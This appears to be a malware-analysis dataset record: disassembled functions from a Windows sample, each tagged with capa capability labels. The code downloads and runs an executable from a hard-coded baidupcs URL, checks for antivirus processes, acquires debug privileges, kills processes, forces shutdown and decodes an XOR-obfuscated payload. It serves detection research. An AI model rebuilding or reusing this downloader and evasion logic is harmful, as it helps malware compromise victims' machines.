joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d1d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0xc10
push esi
mov esi, dword [esp + 0xc18]
test esi, esi
push edi
jne 0x1000d1ee
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.http:__
push esi
mov dword [esp + 0x18], 0
mov byte [esp + 0x13], 0
call edi
add esp, 8
test eax, eax
jne 0x1000d263
push str.https:__
push esi
call edi
add esp, 8
test eax, eax
jne 0x1000d263
mov eax, dword [esp + 0xc34]
mov ecx, dword [esp + 0xc30]
mov edx, dword [esp + 0xc2c]
push eax
mov eax, dword [esp + 0xc2c]
push ecx
mov ecx, dword [esp + 0xc2c]
push edx
mov edx, dword [esp + 0xc2c]
push eax
push ecx
push edx
push esi
call fcn.1000d0b0
add esp, 0x1c
mov al, 1
pop edi
pop esi
add esp, 0xc10
ret
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x1000d289
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
push 0
push 0x80000100
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edx, eax
test edx, edx
mov dword [esp + 0xc], edx
jne 0x1000d2b1
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
push ebx
mov ebx, dword [esp + 0xc34]
push ebp
mov ebp, dword [esp + 0xc3c]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x420]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x420]
push eax
push 0x800
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x420]
push str.
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x1000d379
add esi, 4
push str.
push esi
call edi
mov edx, eax
add esp, 8
test edx, edx
je 0x1000d379
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [esp + 0x20]
sub ecx, esi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
call fcn.1000d060
mov edx, dword [esp + 0xc38]
mov ecx, dword [esp + 0xc34]
push ebp
push ebx
push edx
mov edx, dword [esp + 0xc3c]
push ecx
mov ecx, dword [esp + 0xc3c]
push edx
push ecx
push eax
call fcn.1000d0b0
add esp, 0x20
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
test eax, eax
ja 0x1000d2c1
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov al, byte [esp + 0x13]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0xc10
ret
Function at 0x1000d3b0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret

Function at 0x1000d450
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
xor eax, eax
push ebx
mov ebx, dword [esp + 0x410]
mov ecx, ebx
push esi
mov esi, dword [esp + 0x410]
mov edx, ecx
push edi
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x410]
lea ecx, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServices_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebx
push 0
push esi
push 1
lea edx, [esp + 0x2c]
push str.Host
push edx
push reloc.WS2_32.dll_bind
call fcn.1000a0d0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x1000d4d4
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x1000d570
Capabilities:
Print debug messages

Disassembly:
push esi
push edi
push str.360tray.exe
call fcn.1000eb10
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 4
xor edi, edi
test eax, eax
je 0x1000d5b4
push 0x1001aba8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x1001ab9c
push 0x1001c514
mov dword [str.360tray.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.avp.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d5e3
push 0x1001ab8c
push 0x1001c514
mov dword [str.avp.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.KvMonXP.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d612
push 0x1001ab78
push 0x1001c514
mov dword [str.KvMonXP.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.RavMonD.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d641
push 0x1001ab64
push 0x1001c514
mov dword [str.RavMonD.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.360sd.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d670
push str.360
push 0x1001c514
mov dword [str.360sd.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.Mcshield.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d69f
push 0x1001ab38
push 0x1001c514
mov dword [str.Mcshield.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.egui.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d6ce
push str.NOD32
push 0x1001c514
mov dword [str.egui.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.kxetray.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d6fd
push 0x1001ab10
push 0x1001c514
mov dword [str.kxetray.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.knsdtray.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d72c
push 0x1001aaf8
push 0x1001c514
mov dword [str.knsdtray.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.TMBMSRV.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d75b
push 0x1001aae4
push 0x1001c514
mov dword [str.TMBMSRV.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.avcenter.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d78a
push str.avira
push 0x1001c514
mov dword [str.avcenter.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push str.ashDisp.exe
call fcn.1000eb10
add esp, 4
test eax, eax
je 0x1000d7b9
push str.avast
push 0x1001c514
mov dword [str.ashDisp.exe], edi
call esi
push 0x1001a1dc
push 0x1001c514
call esi
push 0x1001a1dc
push 0x1001c514
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x1000d7dc
push 0x1001aab0
push 0x1001c514
call esi
pop edi
mov eax, 0x1001c514
pop esi
ret
Function at 0x1000db00
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
sub esp, 0x80
push ebx
push ebp
xor ebx, ebx
push str.Kernel32.dll
xor ebp, ebp
mov dword [esp + 0x18], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
jne 0x1000db34
pop ebp
xor eax, eax
pop ebx
add esp, 0x80
ret 4
push esi
push edi
push str.WTSGetActiveConsoleSessionId
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], eax
push ecx
push eax
call sub.WTSAPI32.dll_WTSQueryUserToken
xor edx, edx
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x4c]
mov dword [esp + 0x3c], edx
mov esi, 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x40], edx
lea eax, [esp + 0x18]
mov dword [esp + 0x44], edx
push eax
push 0x201eb
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x5c], str.winsta0default
mov dword [esp + 0x50], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000dc83
lea ecx, [esp + 0x24]
push ecx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000dc83
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x18]
push ecx
push 1
push 1
push ebx
push 0x2000000
push edx
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1000dc83
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push 4
push eax
push 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x1000dc83
mov eax, dword [esp + 0x10]
push ebx
push ebx
lea edx, [esp + 0x34]
push 0x10
push edx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000dc83
mov ecx, dword [esp + 0x10]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x20], ebx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x1000dc53
mov esi, 0x430
jmp 0x1000dc57
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x98]
push ecx
mov ecx, dword [esp + 0x18]
push ebx
push edx
push esi
push ebx
push ebx
push ebx
push eax
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x1000dc8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x1000dc9c
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x1000dca7
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x1000dcb2
push eax
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x80
ret 4
Function at 0x1000e0b0
Capabilities:
Check os version
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
push esi
push edi
push 0
push 0
push str.C:WINDOWSsytem.exe
push str.http:__hot.baidupcs.com_file_32efca01857329ee130594823efaa302_fid1730907197_250528_1765480183time1369458880rtprsignFDTAR_DCb740ccc5511e5e8fedcff06b081203_O7o0KoTFmoS_2BiZhrGIODBIhTzrA_3Dexpires8hr882524993xcodeea1cc3576a3233911799c4aea98219e2
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call edi
push 5
push 0
push 0
push str.C:WINDOWSsytem.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [ebp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x1001c96c
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x1001c96c
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000e2a0
push 0x1001c96c
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
test eax, eax
mov dword [0x1001c968], eax
je 0x1000e22e
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.1000e240
push 0
push 0
push 4
call fcn.1000e240
push 0x1001c96c
call fcn.10005840
add esp, 0x1c
mov dword [0x1001c964], eax
nop
nop
nop
lea edx, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 6
jae 0x1000e1ad
push 0
push 0
push 0
push 0x1001c96c
push fcn.1000dd10
push 0
push 0
call fcn.1000ea90
add esp, 0x1c
jmp 0x1000e1f3
mov ecx, dword [0x1001c958]
lea eax, [ebp - 0x298]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x298]
push 0x1001c96c
push edx
lea eax, [ebp - 0x194]
push str.rundll32.exe___s__Fun__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x194]
push ecx
call fcn.1000db00
push 0x64
call edi
mov eax, dword [0x1001ca70]
cmp eax, 3
je 0x1000e206
cmp eax, 1
jne 0x1000e1f3
mov esi, dword [ebp + 0xc]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1001c964], 0x120
jne 0x1000e22e
push 0x2710
call edi
jmp 0x1000e225
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000e5d0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.1000e850
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000e627
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000e5f8
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.1000e850
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000e440
mov ecx, edi
call fcn.1000e470
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000e660
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000e850
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000e6c4
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x7d
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000e813
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000e800
cmp eax, 4
je 0x1000e800
cmp eax, 8
je 0x1000e800
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000e78b
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000e6f9
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000e850
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x1000e8e0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000e850
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000e850
add esp, 8
ret
Function at 0x1000ea90
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000ea10
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000eb10
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000eb7f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1000eb5d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000eb7f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000eb55
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000eb68
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x1000eb90
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000ebe2
push esi
push pe_nt_image_headers32
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x1000ed70
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000edba
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000edba
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000edd7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000edd7
call fcn.1000ebf0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000eb90
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x1000ef80
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1000ef30
add esp, 4
test eax, eax
jne 0x1000efa3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000efc7
push esi
call fcn.1000eec0
add esp, 4
mov eax, 1
pop esi
ret

Function at 0x1000efd0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x1000f013
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push connect
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x1000f03d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x1000f0cf
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x1000f091
cmp word [esp + 0x24], 0x5a4d
jne 0x1000f0b8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000f0c0
jmp 0x1000f065
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x40e145
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40e154
pop dword [ebp - 0x4c]
mov eax, 0xef38a4f2
add eax, 0x11083c62
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3cfd5
push 0
mov eax, 0x34f0e1a7
sub eax, 0x34ae8f8f
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x84001b36
sub ecx, 0x83ffd6a3
xor edx, edx
add edx, eax
mov ebx, 0x97ec9dcc
sub ebx, 0x97a949cc
add ebx, dword [ebp - 0x4c]
mov esi, 0xaa43266f
sub esi, 0x45b60340
xor dword [ebp - 0x28], eax
mov edi, dword [ebx]
xor dword [ebp - 0x44], edi
sub edi, esi
sub dword [ebp - 0x38], 0x32b4cb4a
mov dword [edx], edi
xor dword [ebp - 0x34], 0x3bac69b
add edx, 4
add ebx, 4
loop 0x40e1b5
add eax, 0x1051f
mov ebx, eax
add eax, 0xc4a48a6c
add eax, 0x3b5b7599
mov ecx, 0xc99ba93f
add ecx, 0x36a456c1
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10006a90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10006abb
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10007df0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x10006add
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10006adf
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10006b63
jg 0x10006af4
test esi, esi
je 0x10006b63
test ecx, ecx
jl 0x10006b3d
jg 0x10006afe
test eax, eax
je 0x10006b3d
cmp edi, ecx
jg 0x10006b12
jl 0x10006b08
cmp esi, eax
jae 0x10006b12
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.10017630
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x10006b40
mov edx, dword [ebp + 8]
test edi, edi
jl 0x10006b63
jg 0x10006b4a
test esi, esi
je 0x10006b63
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10006b63
push eax
push esi
push 1
push edx
call fcn.100204ad
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc